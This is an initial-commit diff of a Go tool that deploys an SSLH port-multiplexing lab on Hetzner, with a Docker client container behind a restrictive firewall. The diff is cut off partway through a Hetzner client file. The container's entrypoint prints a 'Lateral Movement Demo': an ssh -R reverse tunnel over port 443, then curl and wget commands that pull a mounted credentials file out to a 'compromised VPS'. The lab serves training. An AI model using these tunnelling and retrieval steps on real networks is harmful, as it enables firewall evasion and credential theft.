Initial code commit
This commit is contained in:
156
internal/config/config.go
Normal file
156
internal/config/config.go
Normal file
@@ -0,0 +1,156 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"fmt"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
"github.com/spf13/viper"
|
||||
)
|
||||
|
||||
type Config struct {
|
||||
HetznerAPIKey string
|
||||
NamecheapAPIKey string
|
||||
NamecheapUser string
|
||||
Domain string
|
||||
Region string
|
||||
ServerType string
|
||||
DeploymentID string
|
||||
ConfigDir string
|
||||
LetsEncryptEmail string
|
||||
}
|
||||
|
||||
func LoadConfig(cmd *cobra.Command) (*Config, error) {
|
||||
return LoadConfigWithValidation(cmd, true)
|
||||
}
|
||||
|
||||
func LoadConfigWithValidation(cmd *cobra.Command, validate bool) (*Config, error) {
|
||||
homeDir, err := os.UserHomeDir()
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("failed to get user home directory: %w", err)
|
||||
}
|
||||
|
||||
configDir := filepath.Join(homeDir, ".sslh-lab")
|
||||
configFile := filepath.Join(configDir, "config.yaml")
|
||||
|
||||
viper.SetConfigType("yaml")
|
||||
viper.SetConfigFile(configFile)
|
||||
|
||||
viper.SetEnvPrefix("SSLH")
|
||||
viper.AutomaticEnv()
|
||||
|
||||
viper.SetDefault("region", "nbg1")
|
||||
viper.SetDefault("server_type", "cpx22")
|
||||
viper.SetDefault("config_dir", configDir)
|
||||
|
||||
if err := viper.ReadInConfig(); err != nil {
|
||||
var configFileNotFoundError viper.ConfigFileNotFoundError
|
||||
var pathError *os.PathError
|
||||
errMsg := strings.ToLower(err.Error())
|
||||
|
||||
if errors.As(err, &configFileNotFoundError) {
|
||||
// Config file not found is OK - we'll use defaults/env vars/flags
|
||||
} else if errors.As(err, &pathError) && os.IsNotExist(pathError) {
|
||||
// File doesn't exist - this is OK
|
||||
} else if os.IsNotExist(err) {
|
||||
// Direct IsNotExist check
|
||||
} else if strings.Contains(errMsg, "no such file") || strings.Contains(errMsg, "not found") {
|
||||
// File not found error (handled as OK)
|
||||
} else {
|
||||
// Any other error is a real problem
|
||||
return nil, fmt.Errorf("failed to read config file: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
config := &Config{
|
||||
HetznerAPIKey: getStringValue(cmd, "hetzner-key", "HETZNER_KEY"),
|
||||
NamecheapAPIKey: getStringValue(cmd, "namecheap-key", "NAMECHEAP_KEY"),
|
||||
NamecheapUser: getStringValue(cmd, "namecheap-user", "NAMECHEAP_USER"),
|
||||
Domain: getStringValue(cmd, "domain", "DOMAIN"),
|
||||
Region: getStringValue(cmd, "region", "REGION"),
|
||||
ServerType: getStringValue(cmd, "server-type", "SERVER_TYPE"),
|
||||
ConfigDir: viper.GetString("config_dir"),
|
||||
LetsEncryptEmail: getStringValue(cmd, "letsencrypt-email", "LETSENCRYPT_EMAIL"),
|
||||
}
|
||||
|
||||
if validate {
|
||||
if err := config.Validate(); err != nil {
|
||||
return nil, fmt.Errorf("configuration validation failed: %w", err)
|
||||
}
|
||||
}
|
||||
|
||||
return config, nil
|
||||
}
|
||||
|
||||
func getStringValue(cmd *cobra.Command, flagName, envKey string) string {
|
||||
if cmd != nil {
|
||||
if flagValue, err := cmd.Flags().GetString(flagName); err == nil && flagValue != "" {
|
||||
return flagValue
|
||||
}
|
||||
}
|
||||
|
||||
if envValue := viper.GetString(envKey); envValue != "" {
|
||||
return envValue
|
||||
}
|
||||
|
||||
// For viper config file, convert hyphen to underscore (viper uses underscores)
|
||||
viperKey := strings.ReplaceAll(flagName, "-", "_")
|
||||
return viper.GetString(viperKey)
|
||||
}
|
||||
|
||||
func (c *Config) Validate() error {
|
||||
if c.HetznerAPIKey == "" {
|
||||
return fmt.Errorf("hetzner API key is required (set via --hetzner-key, SSLH_HETZNER_KEY, or config file)")
|
||||
}
|
||||
|
||||
if c.NamecheapAPIKey == "" {
|
||||
return fmt.Errorf("namecheap API key is required (set via --namecheap-key, SSLH_NAMECHEAP_KEY, or config file)")
|
||||
}
|
||||
|
||||
if c.NamecheapUser == "" {
|
||||
return fmt.Errorf("namecheap username is required (set via --namecheap-user, SSLH_NAMECHEAP_USER, or config file)")
|
||||
}
|
||||
|
||||
if c.Domain == "" {
|
||||
return fmt.Errorf("domain is required (set via --domain, SSLH_DOMAIN, or config file)")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Config) ValidateForTeardown() error {
|
||||
if c.HetznerAPIKey == "" {
|
||||
return fmt.Errorf("hetzner API key is required (set via --hetzner-key, SSLH_HETZNER_KEY, or config file)")
|
||||
}
|
||||
|
||||
if c.NamecheapAPIKey == "" {
|
||||
return fmt.Errorf("namecheap API key is required (set via --namecheap-key, SSLH_NAMECHEAP_KEY, or config file)")
|
||||
}
|
||||
|
||||
if c.NamecheapUser == "" {
|
||||
return fmt.Errorf("namecheap username is required (set via --namecheap-user, SSLH_NAMECHEAP_USER, or config file)")
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (c *Config) GetDeploymentDir() string {
|
||||
if c.DeploymentID == "" {
|
||||
return ""
|
||||
}
|
||||
return filepath.Join(c.ConfigDir, "deployments", c.DeploymentID)
|
||||
}
|
||||
|
||||
func (c *Config) EnsureConfigDir() error {
|
||||
return os.MkdirAll(c.ConfigDir, 0755)
|
||||
}
|
||||
|
||||
func (c *Config) EnsureDeploymentDir() error {
|
||||
if c.DeploymentID == "" {
|
||||
return fmt.Errorf("deployment ID not set")
|
||||
}
|
||||
return os.MkdirAll(c.GetDeploymentDir(), 0700)
|
||||
}
|
||||
35
internal/docker/client/Dockerfile
Normal file
35
internal/docker/client/Dockerfile
Normal file
@@ -0,0 +1,35 @@
|
||||
FROM ubuntu:22.04
|
||||
|
||||
# Prevent interactive prompts during package installation
|
||||
ENV DEBIAN_FRONTEND=noninteractive
|
||||
|
||||
# Configure apt to be faster and more reliable
|
||||
RUN echo 'Acquire::http::Timeout "30";' > /etc/apt/apt.conf.d/99timeout && \
|
||||
echo 'Acquire::Retries "3";' >> /etc/apt/apt.conf.d/99timeout && \
|
||||
echo 'Acquire::http::Pipeline-Depth "0";' >> /etc/apt/apt.conf.d/99timeout
|
||||
|
||||
# Update package lists and install packages in a single layer for better caching
|
||||
# Use --no-install-recommends to reduce image size and installation time
|
||||
# Group packages to optimize download
|
||||
RUN apt-get update && \
|
||||
apt-get install -y --no-install-recommends \
|
||||
openssh-client \
|
||||
wireguard-tools \
|
||||
curl \
|
||||
wget \
|
||||
dnsutils \
|
||||
iptables \
|
||||
bash \
|
||||
samba-client \
|
||||
nginx-light \
|
||||
iproute2 \
|
||||
&& apt-get clean \
|
||||
&& rm -rf /var/lib/apt/lists/* \
|
||||
&& mkdir -p /var/log/nginx /var/www/html /etc/nginx/sites-available /etc/nginx/sites-enabled \
|
||||
&& chown -R www-data:www-data /var/www/html /var/log/nginx 2>/dev/null || true
|
||||
|
||||
COPY entrypoint.sh /entrypoint.sh
|
||||
RUN chmod +x /entrypoint.sh
|
||||
|
||||
ENTRYPOINT ["/entrypoint.sh"]
|
||||
CMD ["/bin/bash"]
|
||||
24
internal/docker/client/docker-compose.yml
Normal file
24
internal/docker/client/docker-compose.yml
Normal file
@@ -0,0 +1,24 @@
|
||||
services:
|
||||
sslh-lab-client:
|
||||
build:
|
||||
context: .
|
||||
dockerfile: Dockerfile
|
||||
container_name: sslh-lab-client
|
||||
network_mode: bridge
|
||||
cap_add:
|
||||
- NET_ADMIN
|
||||
volumes:
|
||||
- ./wireguard:/wireguard:ro
|
||||
- ./keys:/keys:ro
|
||||
- ./server-info.txt:/server-info.txt:ro
|
||||
- ./secrets.txt:/secrets.txt:ro
|
||||
stdin_open: true
|
||||
tty: true
|
||||
privileged: false
|
||||
dns:
|
||||
- 8.8.8.8
|
||||
- 1.1.1.1
|
||||
- 8.8.4.4
|
||||
dns_search: []
|
||||
dns_opt:
|
||||
- use-vc
|
||||
386
internal/docker/client/entrypoint.sh
Executable file
386
internal/docker/client/entrypoint.sh
Executable file
@@ -0,0 +1,386 @@
|
||||
#!/bin/sh
|
||||
# Don't use set -e as we want to continue even if some commands fail
|
||||
|
||||
# Force use of public DNS servers to avoid Docker DNS cache issues
|
||||
# Docker's DNS (192.168.65.7) may cache NXDOMAIN responses
|
||||
# Using public DNS ensures fresh lookups
|
||||
cat > /etc/resolv.conf <<EOF
|
||||
nameserver 8.8.8.8
|
||||
nameserver 1.1.1.1
|
||||
nameserver 8.8.4.4
|
||||
EOF
|
||||
|
||||
# Configure iptables to only allow TCP 443 and UDP 53 (DNS) outbound
|
||||
# This simulates a restricted network environment (e.g., behind a VPN/firewall)
|
||||
# Use REJECT instead of DROP so connections fail immediately
|
||||
# TCP connections get tcp-reset, UDP gets icmp-port-unreachable
|
||||
# Note: No INPUT rules needed - reverse SSH tunnel handles forwarding internally
|
||||
iptables -A OUTPUT -p udp --dport 53 -j ACCEPT
|
||||
iptables -A OUTPUT -p tcp --dport 443 -j ACCEPT
|
||||
iptables -A OUTPUT -p tcp -j REJECT --reject-with tcp-reset
|
||||
iptables -A OUTPUT -p udp -j REJECT --reject-with icmp-port-unreachable
|
||||
iptables -A OUTPUT -j REJECT --reject-with icmp-proto-unreachable
|
||||
|
||||
# Test DNS resolution to ensure it works
|
||||
if ! nslookup google.com >/dev/null 2>&1; then
|
||||
echo "Warning: DNS resolution test failed. DNS may not be working properly."
|
||||
fi
|
||||
|
||||
# Clear DNS cache if nscd is available
|
||||
if command -v nscd >/dev/null 2>&1; then
|
||||
nscd -i hosts 2>/dev/null || true
|
||||
nscd -i passwd 2>/dev/null || true
|
||||
nscd -i group 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# Force DNS refresh by clearing any local DNS cache
|
||||
# This ensures subdomain resolution works immediately
|
||||
if [ -f /etc/nsswitch.conf ]; then
|
||||
# Ensure hosts: files dns is set for proper DNS resolution
|
||||
if ! grep -q "^hosts:.*dns" /etc/nsswitch.conf 2>/dev/null; then
|
||||
sed -i 's/^hosts:.*/hosts: files dns/' /etc/nsswitch.conf 2>/dev/null || true
|
||||
fi
|
||||
fi
|
||||
|
||||
# Test DNS resolution for common domains to verify DNS is working
|
||||
echo "Testing DNS resolution..."
|
||||
if nslookup google.com >/dev/null 2>&1; then
|
||||
echo "DNS resolution: OK (using 8.8.8.8, 1.1.1.1)"
|
||||
else
|
||||
echo "WARNING: DNS resolution test failed"
|
||||
fi
|
||||
|
||||
# Function to start nginx HTTP server
|
||||
start_http_server() {
|
||||
if command -v nginx >/dev/null 2>&1; then
|
||||
# Create web root directory
|
||||
mkdir -p /var/www/html
|
||||
|
||||
# Create nginx configuration for port 8888
|
||||
# Create sites-available directory if it doesn't exist
|
||||
mkdir -p /etc/nginx/sites-available /etc/nginx/sites-enabled
|
||||
|
||||
# Create a minimal nginx config that works
|
||||
# Use default_server to ensure it's used
|
||||
cat > /etc/nginx/sites-available/lab-server <<'NGINX'
|
||||
server {
|
||||
listen 127.0.0.1:8888 default_server;
|
||||
server_name localhost;
|
||||
root /var/www/html;
|
||||
index index.html;
|
||||
|
||||
access_log /var/log/nginx/lab-access.log;
|
||||
error_log /var/log/nginx/lab-error.log;
|
||||
|
||||
# Ensure we can serve files
|
||||
location / {
|
||||
try_files $uri $uri/ =404;
|
||||
}
|
||||
|
||||
# Serve secrets.txt as plain text
|
||||
location /secrets.txt {
|
||||
default_type text/plain;
|
||||
try_files $uri =404;
|
||||
}
|
||||
}
|
||||
NGINX
|
||||
|
||||
# Enable the site
|
||||
ln -sf /etc/nginx/sites-available/lab-server /etc/nginx/sites-enabled/
|
||||
rm -f /etc/nginx/sites-enabled/default
|
||||
|
||||
# Ensure nginx main config includes sites-enabled
|
||||
# Ubuntu nginx-light should already have this, but verify and fix if needed
|
||||
if ! grep -q "include.*sites-enabled" /etc/nginx/nginx.conf 2>/dev/null; then
|
||||
# Backup original config
|
||||
cp /etc/nginx/nginx.conf /etc/nginx/nginx.conf.bak 2>/dev/null || true
|
||||
# Add include directive in http block
|
||||
sed -i '/^[[:space:]]*http[[:space:]]*{/,/^[[:space:]]*}/ {
|
||||
/^[[:space:]]*include[[:space:]]*\/etc\/nginx\/sites-enabled/! {
|
||||
/^[[:space:]]*include[[:space:]]*mime.types/a\
|
||||
include /etc/nginx/sites-enabled/*;
|
||||
}
|
||||
}' /etc/nginx/nginx.conf 2>/dev/null || \
|
||||
sed -i '/include.*mime.types/a\ include /etc/nginx/sites-enabled/*;' /etc/nginx/nginx.conf 2>/dev/null || true
|
||||
fi
|
||||
|
||||
# Create admin page
|
||||
cat > /var/www/html/index.html <<'HTML'
|
||||
<!DOCTYPE html>
|
||||
<html>
|
||||
<head>
|
||||
<title>Lab Admin Panel</title>
|
||||
<meta charset="utf-8">
|
||||
<style>
|
||||
body {
|
||||
font-family: 'Segoe UI', Tahoma, Geneva, Verdana, sans-serif;
|
||||
background: linear-gradient(135deg, #667eea 0%, #764ba2 100%);
|
||||
margin: 0;
|
||||
padding: 20px;
|
||||
color: #333;
|
||||
}
|
||||
.container {
|
||||
max-width: 800px;
|
||||
margin: 0 auto;
|
||||
background: white;
|
||||
border-radius: 10px;
|
||||
padding: 30px;
|
||||
box-shadow: 0 10px 30px rgba(0,0,0,0.3);
|
||||
}
|
||||
h1 {
|
||||
color: #667eea;
|
||||
border-bottom: 3px solid #764ba2;
|
||||
padding-bottom: 10px;
|
||||
}
|
||||
.info-box {
|
||||
background: #f5f5f5;
|
||||
border-left: 4px solid #667eea;
|
||||
padding: 15px;
|
||||
margin: 20px 0;
|
||||
border-radius: 5px;
|
||||
}
|
||||
.link {
|
||||
display: inline-block;
|
||||
margin: 10px 10px 10px 0;
|
||||
padding: 10px 20px;
|
||||
background: #667eea;
|
||||
color: white;
|
||||
text-decoration: none;
|
||||
border-radius: 5px;
|
||||
transition: background 0.3s;
|
||||
}
|
||||
.link:hover {
|
||||
background: #764ba2;
|
||||
}
|
||||
code {
|
||||
background: #f5f5f5;
|
||||
padding: 2px 6px;
|
||||
border-radius: 3px;
|
||||
font-family: 'Courier New', monospace;
|
||||
}
|
||||
</style>
|
||||
</head>
|
||||
<body>
|
||||
<div class="container">
|
||||
<h1>Lab Admin Panel</h1>
|
||||
<div class="info-box">
|
||||
<h2>System Information</h2>
|
||||
<p><strong>Server:</strong> SSLH Multiplex Lab - Client Container</p>
|
||||
<p><strong>Access:</strong> Localhost only (via reverse SSH tunnel)</p>
|
||||
<p><strong>Purpose:</strong> Lateral movement demonstration</p>
|
||||
</div>
|
||||
<div class="info-box">
|
||||
<h2>Available Resources</h2>
|
||||
<p>This server is accessible only through the reverse SSH tunnel established from the container.</p>
|
||||
<a href="/secrets.txt" class="link">View Secrets File</a>
|
||||
</div>
|
||||
<div class="info-box">
|
||||
<h2>Lateral Movement Demo</h2>
|
||||
<p>This demonstrates accessing container resources from a compromised VPS:</p>
|
||||
<ol>
|
||||
<li>Establish reverse tunnel: <code>ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.domain.com -p 443</code></li>
|
||||
<li>From VPS, access: <code>curl http://localhost:2222/secrets.txt</code></li>
|
||||
<li>Or browse: <code>curl http://localhost:2222/</code></li>
|
||||
</ol>
|
||||
</div>
|
||||
</div>
|
||||
</body>
|
||||
</html>
|
||||
HTML
|
||||
|
||||
# Copy secrets.txt to web root
|
||||
if [ -f /secrets.txt ]; then
|
||||
cp /secrets.txt /var/www/html/secrets.txt
|
||||
else
|
||||
echo "File not found - secrets.txt should be mounted" > /var/www/html/secrets.txt
|
||||
fi
|
||||
|
||||
# Start nginx on port 8888
|
||||
echo "Starting nginx on port 8888..."
|
||||
|
||||
# Create nginx log directory if it doesn't exist
|
||||
mkdir -p /var/log/nginx
|
||||
chown -R www-data:www-data /var/log/nginx 2>/dev/null || chown -R nginx:nginx /var/log/nginx 2>/dev/null || true
|
||||
|
||||
# Ensure nginx can write to log directory
|
||||
chmod 755 /var/log/nginx 2>/dev/null || true
|
||||
|
||||
# Kill any existing nginx processes
|
||||
pkill -9 nginx 2>/dev/null || true
|
||||
sleep 1
|
||||
|
||||
# Test nginx configuration
|
||||
nginx -t >/tmp/nginx-test.log 2>&1
|
||||
TEST_RESULT=$?
|
||||
if [ $TEST_RESULT -ne 0 ]; then
|
||||
echo "ERROR: nginx configuration test failed"
|
||||
cat /tmp/nginx-test.log
|
||||
echo " Main config:"
|
||||
cat /etc/nginx/nginx.conf | head -30
|
||||
echo " Site config:"
|
||||
cat /etc/nginx/sites-available/lab-server
|
||||
return 1
|
||||
fi
|
||||
echo " Nginx configuration test passed"
|
||||
|
||||
# Start nginx as daemon
|
||||
# Redirect stderr to capture any startup errors
|
||||
nginx 2>/tmp/nginx-start-err.log || {
|
||||
echo "ERROR: nginx failed to start (exit code: $?)"
|
||||
cat /tmp/nginx-start-err.log 2>/dev/null || true
|
||||
cat /var/log/nginx/error.log 2>/dev/null || true
|
||||
return 1
|
||||
}
|
||||
|
||||
# Wait for nginx to fully start and verify it's running
|
||||
for i in 1 2 3 4 5; do
|
||||
if pgrep -x nginx >/dev/null 2>&1; then
|
||||
break
|
||||
fi
|
||||
if [ $i -eq 5 ]; then
|
||||
echo "ERROR: nginx process not found after start attempts"
|
||||
cat /tmp/nginx-start-err.log 2>/dev/null || true
|
||||
cat /var/log/nginx/error.log 2>/dev/null || true
|
||||
return 1
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
|
||||
echo " Nginx process started (PID: $(pgrep -x nginx | head -1))"
|
||||
|
||||
# Wait a bit more for nginx to fully initialize and bind to port
|
||||
sleep 2
|
||||
|
||||
# Verify nginx master and worker processes
|
||||
NGINX_COUNT=$(pgrep -x nginx | wc -l)
|
||||
if [ "$NGINX_COUNT" -lt 2 ]; then
|
||||
echo " WARNING: Only $NGINX_COUNT nginx process(es) found (expected at least 2: master + worker)"
|
||||
fi
|
||||
|
||||
# Verify it's listening on port 8888
|
||||
LISTENING=0
|
||||
if command -v ss >/dev/null 2>&1; then
|
||||
if ss -ln 2>/dev/null | grep -q ":8888"; then
|
||||
LISTENING=1
|
||||
fi
|
||||
elif command -v netstat >/dev/null 2>&1; then
|
||||
if netstat -ln 2>/dev/null | grep -q ":8888"; then
|
||||
LISTENING=1
|
||||
fi
|
||||
fi
|
||||
|
||||
if [ "$LISTENING" -eq 1 ]; then
|
||||
echo "HTTP server (nginx) started on 127.0.0.1:8888"
|
||||
echo " Admin page: http://127.0.0.1:8888/"
|
||||
echo " Secrets: http://127.0.0.1:8888/secrets.txt"
|
||||
# Test that it actually responds with retries
|
||||
if command -v curl >/dev/null 2>&1; then
|
||||
RESPONDING=0
|
||||
for i in 1 2 3; do
|
||||
HTTP_CODE=$(curl -s -o /dev/null -w "%{http_code}" --max-time 3 http://127.0.0.1:8888/ 2>/dev/null || echo "000")
|
||||
if echo "$HTTP_CODE" | grep -qE "200|404"; then
|
||||
RESPONDING=1
|
||||
echo " Verified: Server responding correctly (HTTP $HTTP_CODE)"
|
||||
break
|
||||
fi
|
||||
sleep 1
|
||||
done
|
||||
if [ "$RESPONDING" -eq 0 ]; then
|
||||
echo " WARNING: Server listening but not responding to HTTP requests"
|
||||
echo " Test: curl -v http://127.0.0.1:8888/"
|
||||
fi
|
||||
fi
|
||||
return 0
|
||||
else
|
||||
echo "WARNING: nginx is running but not listening on port 8888"
|
||||
echo " Process status:"
|
||||
pgrep -a nginx || true
|
||||
echo " Listening ports:"
|
||||
(ss -ln 2>/dev/null || netstat -ln 2>/dev/null) | grep -E "(8888|LISTEN)" || true
|
||||
echo " Error log:"
|
||||
tail -30 /var/log/nginx/error.log 2>/dev/null || cat /tmp/nginx.log 2>/dev/null || true
|
||||
return 1
|
||||
fi
|
||||
else
|
||||
echo "ERROR: nginx not available"
|
||||
return 1
|
||||
fi
|
||||
}
|
||||
|
||||
# Start lightweight HTTP server on localhost:8888
|
||||
# This serves a demo admin page and secrets.txt via reverse tunnel
|
||||
# Only accessible through reverse SSH tunnel (doesn't bypass network restrictions)
|
||||
|
||||
# Ensure secrets.txt exists
|
||||
if [ ! -f /secrets.txt ]; then
|
||||
echo "WARNING: /secrets.txt not found, creating placeholder"
|
||||
echo "File not found - secrets.txt should be mounted" > /secrets.txt
|
||||
fi
|
||||
|
||||
# Start the HTTP server (nginx)
|
||||
echo "Starting HTTP server (nginx)..."
|
||||
if start_http_server; then
|
||||
echo "HTTP server ready for reverse tunnel access"
|
||||
else
|
||||
echo "ERROR: Failed to start HTTP server"
|
||||
echo " Check logs: cat /var/log/nginx/error.log"
|
||||
echo " Check nginx config: nginx -t"
|
||||
echo " Check if port is in use: ss -ln | grep 8888"
|
||||
fi
|
||||
|
||||
# Display connection examples
|
||||
cat <<EOF
|
||||
SSLH Multiplex Lab - Client Container
|
||||
======================================
|
||||
|
||||
This container has restricted network access:
|
||||
- Only TCP port 443 (outbound) is allowed - for SSLH multiplexed services
|
||||
- Only UDP port 53 (outbound) is allowed - for DNS queries
|
||||
- All other outbound traffic is blocked (simulating VPN/firewall restrictions)
|
||||
|
||||
Example connections:
|
||||
- SSH: ssh -i /keys/id_ed25519 user@ssh.chaosengineering.cc -p 443
|
||||
- HTTPS: curl https://chaosengineering.cc
|
||||
- SMB: smbclient //smb.chaosengineering.cc/share -p 443 -U user
|
||||
- SMB (list shares): smbclient -L //smb.chaosengineering.cc -p 443 -U user
|
||||
- SMB (connect): smbclient //smb.chaosengineering.cc/share -p 443 -U user%password
|
||||
|
||||
Troubleshooting DNS:
|
||||
- If DNS resolution fails, use the server IP address directly
|
||||
- Server information is available in: /server-info.txt
|
||||
- Test DNS: nslookup google.com
|
||||
- Check DNS config: cat /etc/resolv.conf
|
||||
|
||||
Example with IP (if DNS fails):
|
||||
cat /server-info.txt
|
||||
ssh testuser@<server-ip> -p 443
|
||||
|
||||
WireGuard configs are available in /wireguard/
|
||||
SSH keys are available in /keys/
|
||||
Domain admin credentials are available in /secrets.txt
|
||||
|
||||
Lateral Movement Demo:
|
||||
- Establish SSH reverse shell to VPS:
|
||||
ssh -R 127.0.0.1:2222:127.0.0.1:8888 -o ExitOnForwardFailure=yes testuser@ssh.chaosengineering.cc -p 443
|
||||
- Keep that SSH session open (the tunnel stays active while connected)
|
||||
- From the VPS shell:
|
||||
* View admin page: curl http://127.0.0.1:2222/ (or http://localhost:2222/)
|
||||
* Retrieve secrets: curl http://127.0.0.1:2222/secrets.txt > /tmp/secrets.txt
|
||||
* Or: wget http://127.0.0.1:2222/secrets.txt -O /tmp/secrets.txt
|
||||
- The HTTP server listens on 127.0.0.1:8888 and is only accessible via reverse tunnel
|
||||
- This demonstrates lateral movement: accessing container resources from compromised VPS
|
||||
- Note: The reverse tunnel must stay active (keep SSH session open)
|
||||
|
||||
Troubleshooting:
|
||||
- Verify server is running: ps aux | grep nginx
|
||||
- Check if listening: ss -ln | grep 8888 (or: netstat -ln | grep 8888)
|
||||
- Test from container: curl http://127.0.0.1:8888/ or curl http://127.0.0.1:8888/secrets.txt
|
||||
- Check server logs: cat /var/log/nginx/error.log
|
||||
- Check nginx config: nginx -t
|
||||
- Verify reverse tunnel: On VPS, check if port 2222 is listening: ss -ln | grep 2222
|
||||
- If tunnel fails: Check VPS SSH config allows GatewayPorts (default: no, but localhost binding should work)
|
||||
- Alternative syntax (if above fails): ssh -R 2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
|
||||
- Debug tunnel: Add -v flag to SSH: ssh -v -R 127.0.0.1:2222:127.0.0.1:8888 testuser@ssh.chaosengineering.cc -p 443
|
||||
EOF
|
||||
|
||||
exec "$@"
|
||||
166
internal/docker/manager.go
Normal file
166
internal/docker/manager.go
Normal file
@@ -0,0 +1,166 @@
|
||||
package docker
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
"os/exec"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
type Manager struct {
|
||||
ClientDir string
|
||||
}
|
||||
|
||||
func NewManager(clientDir string) *Manager {
|
||||
return &Manager{
|
||||
ClientDir: clientDir,
|
||||
}
|
||||
}
|
||||
|
||||
func getComposeCommand() ([]string, error) {
|
||||
// Try docker compose (v2) first
|
||||
cmd := exec.Command("docker", "compose", "version")
|
||||
if err := cmd.Run(); err == nil {
|
||||
return []string{"docker", "compose"}, nil
|
||||
}
|
||||
|
||||
// Fall back to docker-compose (v1)
|
||||
cmd = exec.Command("docker-compose", "--version")
|
||||
if err := cmd.Run(); err == nil {
|
||||
return []string{"docker-compose"}, nil
|
||||
}
|
||||
|
||||
return nil, fmt.Errorf("neither 'docker compose' nor 'docker-compose' is available. Please install Docker Compose")
|
||||
}
|
||||
|
||||
func (m *Manager) Build() error {
|
||||
dockerfilePath := filepath.Join(m.ClientDir, "Dockerfile")
|
||||
if _, err := os.Stat(dockerfilePath); os.IsNotExist(err) {
|
||||
return fmt.Errorf("Dockerfile not found at %s", dockerfilePath)
|
||||
}
|
||||
|
||||
// Use docker-compose build to ensure it respects docker-compose.yml configuration
|
||||
// and rebuilds when Dockerfile changes
|
||||
composeCmd, err := getComposeCommand()
|
||||
if err != nil {
|
||||
// Fallback to docker build if compose is not available
|
||||
cmd := exec.Command("docker", "build", "--no-cache", "-t", "sslh-lab-client", m.ClientDir)
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("failed to build Docker image: %w", err)
|
||||
}
|
||||
return nil
|
||||
}
|
||||
|
||||
// Use docker-compose build which will rebuild if Dockerfile changed
|
||||
args := append(composeCmd, "-f", filepath.Join(m.ClientDir, "docker-compose.yml"), "build", "--no-cache")
|
||||
cmd := exec.Command(args[0], args[1:]...)
|
||||
cmd.Dir = m.ClientDir
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("failed to build Docker image: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) Run() error {
|
||||
composeFile := filepath.Join(m.ClientDir, "docker-compose.yml")
|
||||
if _, err := os.Stat(composeFile); os.IsNotExist(err) {
|
||||
return fmt.Errorf("docker-compose.yml not found at %s", composeFile)
|
||||
}
|
||||
|
||||
composeCmd, err := getComposeCommand()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
args := append(composeCmd, "-f", composeFile, "up", "-d")
|
||||
cmd := exec.Command(args[0], args[1:]...)
|
||||
cmd.Dir = m.ClientDir
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("failed to run Docker container: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) Stop() error {
|
||||
composeFile := filepath.Join(m.ClientDir, "docker-compose.yml")
|
||||
if _, err := os.Stat(composeFile); os.IsNotExist(err) {
|
||||
return fmt.Errorf("docker-compose.yml not found at %s", composeFile)
|
||||
}
|
||||
|
||||
composeCmd, err := getComposeCommand()
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
args := append(composeCmd, "-f", composeFile, "down")
|
||||
cmd := exec.Command(args[0], args[1:]...)
|
||||
cmd.Dir = m.ClientDir
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
||||
if err := cmd.Run(); err != nil {
|
||||
return fmt.Errorf("failed to stop Docker container: %w", err)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
func (m *Manager) Status() (string, error) {
|
||||
cmd := exec.Command("docker", "ps", "--filter", "name=sslh-lab-client", "--format", "{{.Status}}")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return "", fmt.Errorf("failed to check container status: %w", err)
|
||||
}
|
||||
|
||||
return string(output), nil
|
||||
}
|
||||
|
||||
func (m *Manager) IsRunning() bool {
|
||||
cmd := exec.Command("docker", "ps", "--filter", "name=sslh-lab-client", "--format", "{{.Names}}")
|
||||
output, err := cmd.Output()
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
return len(output) > 0 && string(output) == "sslh-lab-client\n"
|
||||
}
|
||||
|
||||
func (m *Manager) Connect(shell string) error {
|
||||
if !m.IsRunning() {
|
||||
return fmt.Errorf("container is not running. Start it first with 'sslh-lab client'")
|
||||
}
|
||||
|
||||
cmd := exec.Command("docker", "exec", "-it", "sslh-lab-client", shell)
|
||||
cmd.Stdin = os.Stdin
|
||||
cmd.Stdout = os.Stdout
|
||||
cmd.Stderr = os.Stderr
|
||||
|
||||
err := cmd.Run()
|
||||
|
||||
// Exit code 255 is common when user exits normally (Ctrl+D or 'exit' command)
|
||||
// Exit code 130 is common when user presses Ctrl+C
|
||||
// These are not errors, just normal ways to disconnect
|
||||
if exitError, ok := err.(*exec.ExitError); ok {
|
||||
exitCode := exitError.ExitCode()
|
||||
if exitCode == 255 || exitCode == 130 || exitCode == 0 {
|
||||
return nil
|
||||
}
|
||||
}
|
||||
|
||||
// If err is nil (exit code 0), return nil
|
||||
if err == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
// For other errors, return them
|
||||
return err
|
||||
}
|
||||
172
internal/providers/hetzner/client.go
Normal file
172
internal/providers/hetzner/client.go
Normal file
@@ -0,0 +1,172 @@
|
||||
package hetzner
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"time"
|
||||
|
||||
"github.com/go-resty/resty/v2"
|
||||
)
|
||||
|
||||
const (
|
||||
